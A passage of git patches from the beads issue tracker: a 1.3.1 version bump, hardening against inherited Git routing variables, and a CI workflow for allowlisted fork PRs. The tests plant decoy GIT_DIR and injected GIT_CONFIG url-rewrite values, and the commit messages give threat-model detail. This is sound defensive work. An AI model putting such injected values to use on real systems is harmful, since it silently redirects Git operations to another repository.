INTEGRATION v1.3.1 --- diff --git a/.githooks/prepare-commit-msg b/.githooks/prepare-commit-msg index 3bed11aa6..333f71b51 100755 --- a/.githooks/prepare-commit-msg +++ b/.githooks/prepare-commit-msg @@ -1,5 +1,5 @@ #!/usr/bin/env sh -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- +# --- BEGIN BEADS INTEGRATION v1.3.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -56,4 +56,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.2 --- +# --- END BEADS INTEGRATION v1.3.1 --- diff --git a/CHANGELOG.md b/CHANGELOG.md index 314de4705..a8362f509 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,24 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [1.3.1] - 2026-09-30 + +First stable release of the 1.3.1 patch line. It ships the same code as +[1.3.1-rc.2]; the only change since that candidate is the version stamp. The +full notes are in the [1.3.1-rc.2] and [1.3.1-rc.1] sections below, which +together cover everything since [1.3.0]. + +There is **no schema migration**: upgrading from 1.3.0, 1.3.1-rc.1 or +1.3.1-rc.2 is a binary swap. + +### Upgrade notes + +- Coming from 1.3.0, read the upgrade notes in [1.3.1-rc.2] and the + **Changed** entries in [1.3.1-rc.1]. The rc.1 change most likely to affect + scripts is the new `bd dolt status --json` shape on a proxied workspace + ([#6580](https://github.com/gastownhall/beads/pull/6580)). +- Coming from 1.3.1-rc.2, nothing changes in behaviour. + ## [1.3.1-rc.2] - 2026-09-29 Second release candidate for 1.3.1, still a patch line on top of 1.3.0 with diff --git a/cmd/bd/info.go b/cmd/bd/info.go index 94fadebb7..30e1a13f9 100644 --- a/cmd/bd/info.go +++ b/cmd/bd/info.go @@ -220,6 +220,13 @@ type VersionChange struct { // versionChanges contains agent-actionable changes for recent versions var versionChanges = []VersionChange{ + { + Version: "1.3.1", + Date: "2026-09-30", + Changes: []string{ + "STABLE: first stable 1.3.1 release. Same code as 1.3.1-rc.2; only the version stamp changed. No schema migration, so upgrading from 1.3.0 or any 1.3.1 RC is a binary swap. Coming from 1.3.0, the 1.3.1-rc.2 and 1.3.1-rc.1 entries below both apply; read the [1.3.1-rc.2] upgrade notes in CHANGELOG.md.", + }, + }, { Version: "1.3.1-rc.2", Date: "2026-09-29", diff --git a/cmd/bd/version.go b/cmd/bd/version.go index 3b15822b1..34efb4af8 100644 --- a/cmd/bd/version.go +++ b/cmd/bd/version.go @@ -16,7 +16,7 @@ import ( var ( // Version is the current version of bd (overridden by ldflags at build time) - Version = "1.3.1-rc.2" + Version = "1.3.1" // Build can be set via ldflags at compile time Build = "dev" // Commit and branch the git revision the binary was built from (optional ldflag) diff --git a/cmd/bd/winres/winres.json b/cmd/bd/winres/winres.json index 0033c3540..226a357a8 100644 --- a/cmd/bd/winres/winres.json +++ b/cmd/bd/winres/winres.json @@ -18,12 +18,12 @@ "Comments": "AI-supervised issue tracker for coding workflows", "CompanyName": "Steve Yegge", "FileDescription": "beads - AI-supervised issue tracker", - "FileVersion": "1.3.1-rc.2", + "FileVersion": "1.3.1", "InternalName": "bd", "LegalCopyright": "Copyright (c) 2024-2026 Steve Yegge. MIT License.", "OriginalFilename": "bd.exe", "ProductName": "beads", - "ProductVersion": "1.3.1-rc.2" + "ProductVersion": "1.3.1" } } } diff --git a/default.nix b/default.nix index f3e3c72f8..64dadbfa7 100644 --- a/default.nix +++ b/default.nix @@ -7,7 +7,7 @@ }: buildGoModule { pname = "beads"; - version = "1.3.1-rc.2"; + version = "1.3.1"; src = self; diff --git a/integrations/beads-mcp/pyproject.toml b/integrations/beads-mcp/pyproject.toml index 5ef179c88..e908d2f57 100644 --- a/integrations/beads-mcp/pyproject.toml +++ b/integrations/beads-mcp/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "beads-mcp" -version = "1.3.1-rc.2" +version = "1.3.1" description = "MCP server for beads issue tracker." readme = "README.md" requires-python = ">=3.10" diff --git a/integrations/beads-mcp/src/beads_mcp/__init__.py b/integrations/beads-mcp/src/beads_mcp/__init__.py index ef0328f6c..d3e4dd84e 100644 --- a/integrations/beads-mcp/src/beads_mcp/__init__.py +++ b/integrations/beads-mcp/src/beads_mcp/__init__.py @@ -4,4 +4,4 @@ This package provides an MCP (Model Context Protocol) server that exposes beads (bd) issue tracker functionality to MCP Clients. """ -__version__ = "1.3.1-rc.2" +__version__ = "1.3.1" diff --git a/integrations/beads-mcp/uv.lock b/integrations/beads-mcp/uv.lock index 06aab85ee..eee08ed62 100644 --- a/integrations/beads-mcp/uv.lock +++ b/integrations/beads-mcp/uv.lock @@ -175,7 +175,7 @@ wheels = [ [[package]] name = "beads-mcp" -version = "1.3.1rc2" +version = "1.3.1" source = { editable = "." } dependencies = [ { name = "fastmcp" }, diff --git a/npm-package/package.json b/npm-package/package.json index fadd26e7b..65257d62f 100644 --- a/npm-package/package.json +++ b/npm-package/package.json @@ -1,6 +1,6 @@ { "name": "@beads/bd", - "version": "1.3.1-rc.2", + "version": "1.3.1", "description": "Beads issue tracker - lightweight memory system for coding agents with native binary support", "main": "bin/bd.js", "bin": { diff --git a/plugins/beads/.claude-plugin/plugin.json b/plugins/beads/.claude-plugin/plugin.json index 846f0aadd..6ca3bc1a1 100644 --- a/plugins/beads/.claude-plugin/plugin.json +++ b/plugins/beads/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "beads", "description": "AI-supervised issue tracker for coding workflows. Manage tasks, discover work, and maintain context with simple CLI commands.", - "version": "1.3.1-rc.2", + "version": "1.3.1", "author": { "name": "Steve Yegge", "url": "https://github.com/steveyegge" diff --git a/plugins/beads/.codex-plugin/plugin.json b/plugins/beads/.codex-plugin/plugin.json index d6ba3db26..2428a46e1 100644 --- a/plugins/beads/.codex-plugin/plugin.json +++ b/plugins/beads/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "beads", - "version": "1.3.1-rc.2", + "version": "1.3.1", "description": "AI-supervised issue tracking for coding workflows with agent skills.", "author": { "name": "Steve Yegge", diff --git a/plugins/beads/.copilot-plugin/plugin.json b/plugins/beads/.copilot-plugin/plugin.json index 5b2331b1b..3ebeccd59 100644 --- a/plugins/beads/.copilot-plugin/plugin.json +++ b/plugins/beads/.copilot-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "beads", "description": "AI-supervised issue tracker for coding workflows. Manage tasks, discover work, and maintain context with simple CLI commands.", - "version": "1.3.1-rc.2", + "version": "1.3.1", "author": { "name": "Steve Yegge", "url": "https://github.com/steveyegge" From 1d637e12fcb5df7d674e42d59d4933643c5db4a0 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Wed, 30 Sep 2026 14:12:24 -0600 Subject: [PATCH 262/624] fix(init): select the project origin before proxied persistence (#6453) * fix(worktree): scrub inherited Git routing state Establish CWD as the worktree repository boundary before discovery can consume inherited Git routing. Fence the startup config probe, clear routing in-process before root pre-run discovery, and retain command-owned subprocess scrubbing as defense in depth without changing PID or signal semantics. Fixes #5531 Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * refactor(worktree): explain owned filtering and remove an unused shim Document why filtering the fresh routing slice in place is safe and call the shared routing-key classifier directly from tests. Retain the two forwarders used by production worktree subprocess/removal paths. Review: https://github.com/gastownhall/beads/pull/5623#pullrequestreview-5098421671 Bead: saa-cgh.23 Agent-Signature: unknown-model/unknown-reasoning * fix(config): isolate identity and tracked-file Git probes from routing Reuse the worktree routing owner for GetIdentity and isGitTracked so explicit cwd/path selection is not displaced by inherited repository, index or injected config state. Preserve identity precedence and the tracked-secret refusal contract, with real target/decoy regressions. Follow-up: https://github.com/gastownhall/beads/issues/6222 Dependency: https://github.com/gastownhall/beads/pull/5623 Reported-by: bee-ghosttrack Bead: saa-cgh.93 Agent-Signature: unknown-model/unknown-reasoning * fix(config): share subprocess key identity for Git routing (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(exec): match Windows environment key identity (#5618) Centralize os/exec-compatible environment-key comparison and use it for credential, metrics, Git-hook, trace, and repro subprocess filters. Preserve exact Unix semantics and Unicode near-collisions. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * test(execenv): exercise every environment operation under both host rules Thread the host choice through narrow private helpers behind the existing exported functions. Keep one normalization owner and retain native wrapper tests; the additional table covers both host branches for equality, prefix matching, last-wins lookup, filtering and input preservation. Review: https://github.com/gastownhall/beads/pull/5672#pullrequestreview-5096948965 Bead: saa-cgh.78 Agent-Signature: unknown-model/unknown-reasoning * test(execenv): exercise exported host policy wiring (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(worktree): explain startup Git environment scope (saa-cgh.23) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): isolate role commands from Git routing (saa-cgh.99) Follow-up to bee-ghosttrack's review of gastownhall/beads#6322; refs #6357. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(env): exercise shared key helpers on native Windows (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitenv): share key parsing and normalize routing membership once (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(config): explain role command routing policy (saa-cgh.99) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(git): isolate domain role configuration from inherited routing (saa-cgh.109.5) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): probe the selected repository before configuring roles (saa-cgh.109.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(init): explain role probe discovery ceiling behavior (saa-cgh.109.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): bind proxied tail Git operations to selected directory (saa-cgh.109.14) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * Keep init role operations on the captured selected Git context (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Align selected-tail fixtures with captured role authority (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(init): select project origin before proxied persistence (GH#6384) (saa-cgh.120.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): use branch-local origin lookup fixtures (GH#6384) (saa-cgh.120.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): distinguish inline origin and normalize SCP remotes (saa-cgh.120.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): discriminate inline origin URL rewriting (saa-cgh.120.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitenv): keep discovery fences out of the routing scrub Maintainer review fixes for the three majors in iteration 1. Finding 1 -- routingKeys conflated Git's *redirect* keys with its *fence* keys. Scrubbing a redirect narrows the authority a child inherits, which is this package's purpose; scrubbing a fence widens it. Remove GIT_CEILING_DIRECTORIES and GIT_DISCOVERY_ACROSS_FILESYSTEM from the set and document why they must stay out. Reproduced at this head: under GIT_CEILING_DIRECTORIES=$P/child, `git -C $P/child/sub config beads.role maintainer` is refused (exit 128); with the ceiling scrubbed it exits 0 and writes the privileged role into $P/.git/config. This matters most at the four cmd/bd/config.go role sites, which pass neither -C nor cmd.Dir, and `-C` names a directory rather than a repository, so an explicit directory is not a substitute for the fence. The other half of that finding -- narrowing the GIT_CONFIG prefix so GIT_CONFIG_NOSYSTEM/_GLOBAL/_SYSTEM survive -- is deliberately NOT applied here. Open PR #6461 already implements it value-aware (isConfigSuppression retains GIT_CONFIG_GLOBAL=/dev/null but still scrubs GIT_CONFIG_GLOBAL=/tmp/evil), which is stricter than the key-only form the review prescribed. Applying the key-only form here would make IsRoutingKeyForOS return false for the whole key and bypass #6461's value check once the two merge. The injection channel this package must close, the GIT_CONFIG_COUNT/KEY_n/VALUE_n triple, is covered either way. Tracked in bd-dz16y. Finding 2 -- the comment at cmd/bd/config.go:202 claimed "All role commands ignore inherited Git routing", but only the writers are scrubbed; the readers that resolve maintainer-vs-contributor are not. Scope the claim to the writers in that file and name the uncovered plane, rather than duplicating reader scrubs that open PR #6461 already carries for internal/routing, beads.RepoContext, bd config show and bd doctor role (hooks.go is carried by #6454/#6463/#6464). Tracked in bd-dz16y. Finding 3 -- the scrubbed startup probe gitDirsForRepo has two byte-identical unscrubbed twins in internal/beads, so the PR created a config-from-repo-A / workspace-from-repo-B divergence. Take the documentation arm: worktrees.md no longer claims every startup probe scrubs. #6461 hardens both twins; the code half is tracked in bd-5p25o. Also drop the dead isRoleGitRepo helper (Finding 5): it ran the same argv, Dir and scrubbed env as the gitUC.IsGitRepo call whose result it was compared against, so it always equalled isRepo while doubling a git subprocess. Its comment also asserted that dropping discovery ceilings is intended, which the Finding 1 fix falsifies. Tests: a unit pin that the two fences survive ScrubRoutingForOS on both POSIX and Windows semantics, and a behavioural pin that a scrubbed `git config` cannot escape an operator ceiling into the containing repository. Both were verified red before this change (IsRoutingKeyForOS = true, want false; "scrubbed git config escaped the operator's ceiling") and green after. Iteration 2 (non-gating minors/nits; scorecard 881/1000 approve, no blockers or majors remained). The routingKeys doc split the two removed keys by polarity instead of calling both "fences". GIT_CEILING_DIRECTORIES withholds authority, so the "removing one widens" direction claim is true only of it. GIT_DISCOVERY_ACROSS_FILESYSTEM is permit-only: git already stops at a filesystem boundary, unset IS the stop, and the variable exists only to disable it, so retaining an inherited =1 can only widen. Retention is kept deliberately -- scrubbing it would cost a legitimate cross-mount checkout every `bd worktree` verb, the minor PR #6464 iteration 2 adjudicated -- and the comment now states the cost that buys: base 566c84ba8 scrubbed both keys in scrubWorktreeRemovalGitEnv's own hardcoded exactKeys list, so re-pointing that adapter at ScrubRoutingForOS reverses base policy for this key. The losing side is recorded in bd-dz16y. The fences pin now carries a GIT_DISCOVERY_ACROSS_FILESYSTEM=1 row; the previous =0-only fixture pinned git's own default, so a value-aware scrub that retained only the no-op value would have passed it (probed: =0 retained, =1 dropped). The cmd/bd/config.go:202 enumeration named only unscrubbed readers, but bd init's own role accessors are unscrubbed too and one is a WRITER (getBeadsRole init.go:2990, setBeadsRole init.go:3004, init_contributor.go:345, none passing Env, Dir or -C). So two writes can disagree, not just a write and a read: `bd init --role` can persist beads.role into the inherited-routing target while `bd config set` writes the scrubbed one. Those files are outside this PR's range, so the claim is corrected here and the code gap is tracked in bd-dz16y item 2. The ceiling pin now enters the fenced directory with t.Chdir instead of setting cmd.Dir, matching the four production role sites that pass neither -C nor cmd.Dir. Re-verified red before the fix in the new shape ("scrubbed git config escaped the operator's ceiling"), green after. Pre-approval CI: repair the two-way collision with #6477, which landed on main during this PR's review. #6477 (cf683435e) narrowed GetConfig's error swallow: only exit 1 with empty stderr still reads as "absent"; everything else, including exit 128, now surfaces. Each side is green alone, but merged they red in both directions, and both reds are interaction-only (verified: this head alone green, main alone green, merged red). - This PR's TestInitGitRepositoryUsesSelectedDirectory/captured_home asserted `require.NoError` with the comment "The existing reader maps Git exit errors to absence" -- naming the exact premise #6477 deleted. The malformed captured-HOME config now surfaces instead of reading as "no role set", so the case expects the error. What it pins is unchanged: the generic constructor still resolves against the current caller environment. - #6477's TestConfig_ReadFailuresAreNotMissing/invalid_routing_boolean poisons GIT_CONFIG_NOSYSTEM and read beads.role. That key is precisely the one this PR makes immune to inherited config routing, so the case could no longer observe its own poison. Retargeted to a non-role key (test.marker still exits 128 with the same diagnostic, verified), and the role leg inverted to pin the immunity instead -- dropping the scrub turns that NoError back into the exit-128 routing error, so the case now guards the hardening rather than merely avoiding it. Rebased onto main (511849496) to express the main-side half; the rebased tree is byte-identical to `git merge-tree origin/main HEAD`, so this is the combination that will land. Validation on the refreshed head: build, gofmt, `git diff --check`, `go vet` and `GOOS=windows CGO_ENABLED=0 go vet` over all 11 changed packages, all clean. gitenv/execenv/githooksenv/gittraceenv/storage-domain-git/config/ metrics/scripts suites green. `BD_LINT_NEW_FROM_MERGE_BASE=511849496 make ci-pr-lint`: 0 issues on both the linux and windows arms. cmd/bd was run with one selector over both sides' changed test files at this head and at main alone: the FAIL and SKIP sets are byte-identical (16 base-preexisting init/ workspacegate failures, one of which names another test's temp dir), so this PR adds no new cmd/bd failure. Co-Authored-By: Claude Opus 5 * docs(init): note proxied-init fingerprints still inherit Git routing Maintainer review fix for the one minor in relaunch iteration 1 (codex, verified by the synthesis). resolveProxiedInitRemoteURL now reads origin from the selected project through the routing-scrubbed NewInitGitRepository, but the repo_id and clone_id computed right after it still come from beads.ComputeRepoID and beads.GetCloneID. Both reach git through runGitInRepo/mainRepoRootForPath in internal/beads/fingerprint.go, which set only cmd.Dir and inherit the process environment. Probed at 8e77aa3523 with a throwaway package that calls the real functions: under a decoy GIT_DIR + GIT_WORK_TREE both IDs equal the decoy repository's; under a missing GIT_DIR both fail with "not a git repository"; with no routing both match the selected project. The review offered two arms. Arm (b), naming these calls in the #6460 deferral note, would record a false plan: #6460 scrubs the EnsureGitRepo bootstrap and leaves both fingerprint calls unchanged, and no open PR touches fingerprint.go. Arm (a), scrubbing inside the fingerprint helpers, changes which repository bd doctor, bd migrate and embedded bd init fingerprint for users who export GIT_DIR on purpose; that policy change needs its own review. So the #6460 note stays as it is (it is still true), a comment at the fingerprint call site names the gap, and the code change is filed. Tracked in bd-6e967, which also carries the review's nit (no test pins the cwd wiring at the resolveProxiedInitRemoteURL call site). Validation: git diff --check and gofmt clean; go vet -tags gms_pure_go ./cmd/bd clean; golangci-lint --new-from-merge-base=origin/main ./cmd/bd/... 0 issues; TestProxiedInitRemoteURLUsesSelectedProject passes. Agent-Signature: claude-code-unknown-model-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 Co-authored-by: Eddie the Engineer Co-authored-by: Eddie the Engineer --- cmd/bd/init_proxied_server.go | 10 ++- cmd/bd/init_proxied_server_test.go | 124 +++++++++++++++++++++++++++++ 2 files changed, 132 insertions(+), 2 deletions(-) diff --git a/cmd/bd/init_proxied_server.go b/cmd/bd/init_proxied_server.go index 29161a5a4..05b3c8821 100644 --- a/cmd/bd/init_proxied_server.go +++ b/cmd/bd/init_proxied_server.go @@ -136,6 +136,7 @@ func runInitProxiedServer(cmd *cobra.Command, ctx context.Context, in initProxie } if !hasExplicitBeadsDir { + // Bootstrap routing is handled separately in follow-up #6460. res, err := gitUC.EnsureGitRepo(ctx) if err != nil { return fmt.Errorf("failed to initialize git repository: %v", err) @@ -188,8 +189,11 @@ func runInitProxiedServer(cmd *cobra.Command, ctx context.Context, in initProxie } defer func() { _ = initUOWProvider.Close(ctx) }() - remoteURL := resolveProxiedInitRemoteURL(ctx, gitUC, in) + remoteURL := resolveProxiedInitRemoteURL(ctx, cwd, in) + // Unlike the origin lookup above, ComputeRepoID and GetCloneID still inherit + // Git routing: under an inherited GIT_DIR/GIT_WORK_TREE, repo_id and clone_id + // can describe a different repository than remoteURL, or fail to resolve. var repoID, cloneID string if id, err := beads.ComputeRepoID(); err == nil { repoID = id @@ -316,7 +320,7 @@ func resolveInitPrefix(flagPrefix string) (string, error) { return prefix, nil } -func resolveProxiedInitRemoteURL(ctx context.Context, gitUC domain.GitUseCase, in initProxiedServerInput) string { +func resolveProxiedInitRemoteURL(ctx context.Context, workDir string, in initProxiedServerInput) string { url, source := resolveInitConfiguredSyncRemote(in.initRemote, in.initRemoteChanged, resolveSyncRemote) if url != "" { return url @@ -325,6 +329,8 @@ func resolveProxiedInitRemoteURL(ctx context.Context, gitUC domain.GitUseCase, i return "" } if !in.stealth { + // Origin belongs to the selected project, independently of Beads storage. + gitUC := domain.NewGitUseCase(workDir, domaingit.NewInitGitRepository(workDir)) if originURL, err := gitUC.OriginRemoteURL(ctx); err == nil && originURL != "" { return normalizeRemoteURL(originURL) } diff --git a/cmd/bd/init_proxied_server_test.go b/cmd/bd/init_proxied_server_test.go index df567f04c..fbfff93ee 100644 --- a/cmd/bd/init_proxied_server_test.go +++ b/cmd/bd/init_proxied_server_test.go @@ -23,6 +23,130 @@ import ( "github.com/stretchr/testify/require" ) +func TestProxiedInitRemoteURLUsesSelectedProject(t *testing.T) { + // Serial: each fixture owns the process directory, environment and loaded config. + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + require.NoError(t, os.Unsetenv(key)) + } + } + runGit := func(t *testing.T, dir string, args ...string) string { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) + out, err := cmd.CombinedOutput() + require.NoError(t, err, "fixture git %v: %s", args, out) + return strings.TrimSpace(string(out)) + } + for _, name := range []string{"ordinary", "decoy", "invalid", "inline", "scp", "missing", "nonrepo", "bare", "stealth", "explicit", "explicit_empty", "configured", "configured_stealth", "legacy", "canceled"} { + t.Run(name, func(t *testing.T) { + home := t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + target, decoy := newGitRepo(t), newGitRepo(t) + t.Chdir(target) + global := filepath.Join(home, ".gitconfig") + require.NoError(t, os.WriteFile(global, []byte("[user]\n\tname = fixture\n"), 0600)) + const selectedURL = "file:///selected-origin" + if name != "missing" { + origin := selectedURL + if name == "scp" { + origin = "git@github.com:fixture/selected.git" + } + runGit(t, target, "remote", "add", "origin", origin) + } + runGit(t, decoy, "remote", "add", "origin", "file:///decoy-origin") + selected := target + if name == "nonrepo" || name == "bare" { + selected = t.TempDir() + if name == "bare" { + runGit(t, home, "init", "--bare", selected) + runGit(t, home, "--git-dir", selected, "remote", "add", "origin", selectedURL) + } + } + storage := t.TempDir() + t.Setenv("BEADS_DIR", storage) + for _, key := range []string{"BD_SYNC_REMOTE", "BEADS_SYNC_REMOTE", "BD_SYNC_GIT_REMOTE", "BEADS_SYNC_GIT_REMOTE"} { + t.Setenv(key, "") + } + in := initProxiedServerInput{} + want := selectedURL + switch name { + case "missing", "nonrepo", "bare", "canceled": + want = "" + case "scp": + want = "git+ssh://git@github.com/fixture/selected.git" + case "stealth": + in.stealth, want = true, "" + case "explicit", "explicit_empty": + in.initRemoteChanged = true + in.initRemote = "dolthub://fixture/explicit" + if name == "explicit_empty" { + in.initRemote = "" + } + want = in.initRemote + t.Setenv("BD_SYNC_REMOTE", "dolthub://fixture/configured") + case "configured", "configured_stealth", "legacy": + want = "dolthub://fixture/configured" + key := "BD_SYNC_REMOTE" + if name == "legacy" { + key = "BD_SYNC_GIT_REMOTE" + } + t.Setenv(key, want) + in.stealth = name == "configured_stealth" + } + initConfigForTest(t) + if name != "ordinary" { + t.Chdir(decoy) + if name == "inline" { + t.Setenv("GIT_CONFIG_COUNT", "1") + t.Setenv("GIT_CONFIG_KEY_0", "url.file:///inline-origin.insteadOf") + t.Setenv("GIT_CONFIG_VALUE_0", selectedURL) + probe := exec.Command("git", "remote", "get-url", "origin") + probe.Dir = target // Prove this row distinguishes inherited inline config. + out, err := probe.CombinedOutput() + require.NoError(t, err, "%s", out) + require.Equal(t, "file:///inline-origin", strings.TrimSpace(string(out))) + } else { + t.Setenv("GIT_DIR", filepath.Join(decoy, ".git")) + t.Setenv("GIT_WORK_TREE", decoy) + } + } + if name == "invalid" { + t.Setenv("GIT_DIR", filepath.Join(home, "missing.git")) + } + preserved := map[string][]byte{} + for _, path := range []string{filepath.Join(target, ".git", "config"), filepath.Join(decoy, ".git", "config"), global} { + data, err := os.ReadFile(path) + require.NoError(t, err) + preserved[path] = data + } + env := os.Environ() + ctx := t.Context() + if name == "canceled" { + var cancel context.CancelFunc + ctx, cancel = context.WithCancel(ctx) + cancel() + } + if got := resolveProxiedInitRemoteURL(ctx, selected, in); got != want { + t.Errorf("selected origin = %q, want %q", got, want) + } + if entries, err := os.ReadDir(storage); err != nil || len(entries) != 0 { + t.Errorf("remote lookup changed separate storage: %v, %v", entries, err) + } + for path, before := range preserved { + after, err := os.ReadFile(path) + require.NoError(t, err) + require.Equal(t, before, after, "remote lookup changed %s", path) + } + require.True(t, slices.Equal(env, os.Environ()), "remote lookup changed parent environment") + }) + } +} + func TestBuildProxiedServerClientInfo(t *testing.T) { t.Run("all empty returns nil", func(t *testing.T) { info, err := buildProxiedServerClientInfo("", "", "", 0, 0, nil) From a3b6dc9ac5b9f930f1fe14c4391d0d2f575b783c Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 30 Sep 2026 14:54:06 -0700 Subject: [PATCH 263/624] ci(bazel): remote-execution Bazel lanes for allowlisted fork authors (advisory) (#6994) * ci(bazel): remote Bazel lanes for allowlisted fork authors (advisory) Add bazel-farm.yml, a pull_request_target caller of bazel.yml. It gives the RBE farm to fork PRs to main whose author and triggering user (sender: the pusher on synchronize) are both on .github/bazel-farm-allowlist.txt, which is read from the base commit. The list has julianknutsen, quad341, sjarmak and csells, the same as gascity's blacksmith allowlist. - authorize job: sparse checkout of github.sha that holds only the allowlist and .github/scripts/bazel-farm-authorize.sh; no token on disk, no secrets, event facts through env only. The script also checks fork vs base repo, the default branch, the action, and a 40-hex head SHA. - farm job: calls bazel.yml with contents: read, exactly the four RBE secrets, checkout-sha pinned to the event's head SHA, and fork-farm: authorized. - bazel.yml: new checkout-sha and fork-farm inputs (no-ops for pr.yml and nightly.yml). Every lane checks out inputs.checkout-sha with persist-credentials: false. The rbe job runs a fork remotely only for an authorized pull_request_target call, and then remote or skip, never local. PR concurrency also cancels on pull_request_target. The bazel-sync-patch upload is skipped on pull_request_target. Advisory only: pr.yml is unchanged, so every fork PR still runs the local Bazel lanes inside the enforced CI Gate / Required. Policy tests pin the trigger and types, both jobs' conditions, the allowlist source and contents, the pinned checkout, read-only permissions, where secrets appear, no expressions in run scripts, per-PR concurrency, the timeout, and that no workflow_run consumer can pick up a farm run. TestBazelLaneIsGatedAlongsideLegacy now allows pull_request_target on a bazel.yml caller for bazel-farm.yml only. 26 mutations were each caught by these tests (sender check dropped, allowlist read from the PR head, write permission added, event data interpolated into run, SHA pin dropped, and others). Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): trusted-author fork PR farm design and threat model Document bazel-farm.yml in the required-check topology: - the design, and why it is advisory rather than part of the enforced gate; - the gate options considered; - the threat model: allowlist spoofing, sender vs. author, TOCTOU with the pinned SHA, workflow-file edits, script, label and comment injection, token scope, artifact poisoning, and farm and Actions cache poisoning; - what can only be verified on GitHub. The one capability a listed author gets beyond a same-repo PR is called out as an accepted risk, with mitigations: pull_request_target runs use the default branch's Actions cache scope. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): opt the farm's lane checkouts into fork-head checkout (F1) actions/checkout@3d3c42e5 is v7.0.1, not v6, and v7 refuses to check out a fork PR's head SHA on pull_request_target unless allow-unsafe-pr-checkout is true. Every lane of an authorized farm run therefore failed at checkout. - Each bazel.yml lane checkout now sets allow-unsafe-pr-checkout to inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target'. That is false for every other caller and event. - TestBazelWorkflowForkFarmInputs pins that exact expression. It also fails if the key appears anywhere else in the workflows (so never a literal true, and never on the authorize checkout). - Relabel the checkout pin as # v7.0.1 in bazel.yml and bazel-farm.yml. - Add the opt-in to the engdoc's design section and to the verify-on-GitHub list. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): verify everything restored from caches in Bazel lanes (F3) A farm run executes PR code in the default branch's cache scope. GitHub's own cache is read-only for pull_request_target: GitHub issues a read-only token, and cache-mode defaults to read. Whether Blacksmith's colocated cache enforces the same is unverified. So trusted runs no longer execute anything they restore without verifying it first: - setup-bazel: Bazelisk's home moves out of the runner cache to a fresh $RUNNER_TEMP/bazelisk-home, so the Bazel binary is never restored from a cache. BAZELISK_VERIFY_SHA256 is set to the release sha256 pinned for the .bazelversion version on each arch (9.2.0 amd64 and arm64). The wrapper step then re-checks every Bazel binary in that home. - write-bazelrc.sh: add common --repo_contents_cache=. The repo contents cache holds extracted repos that Bazel never re-verifies. The content-addressable repository cache stays, since Bazel re-hashes it on every hit. - Runner cache key bumped to bazel-repo-v3 (the content changed). - bazel-test runs `go mod verify` right after the Go module cache restore. - Policy tests: - cache-mode may only be read or none in bazel-farm.yml, bazel.yml and setup-bazel; - bazel.yml permissions are exactly contents: read; - the Bazel sha pin matches .bazelversion, and Bazelisk's home is outside the cache; - the binary is verified after download; - go mod verify follows every module cache restore; - the rc disables the repo contents cache. - Engdoc and bazel-farm.yml header: corrected about GitHub's read-only cache, noted Blacksmith as unknown, and listed the full blast radius (release.yml hardening tracked separately). The canary design is in the rollout notes. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): farm runs only the author's own fork, on opened/synchronize (F4) "The sender is listed" did not prove that a listed user chose the head commit: - A listed author could open a PR whose head is a third party's fork, and that fork's owner could push between the author's review and "Create". - A collaborator on a listed author's fork could push while the PR was closed or a draft (that push is skipped), and the author's later "Reopen" or "Ready for review" click would run it with secrets. Changes: - The authorize script requires the head repository owner's numeric id to equal the PR author's (HEAD_OWNER_ID, PR_AUTHOR_ID, passed via env). - Drop the reopened and ready_for_review triggers, and the script now refuses those actions too. Drafts already run on opened and synchronize. - Tests pin the trigger types and the new env, and add script cases: - cross-fork head, missing or non-numeric owner id; - reopened 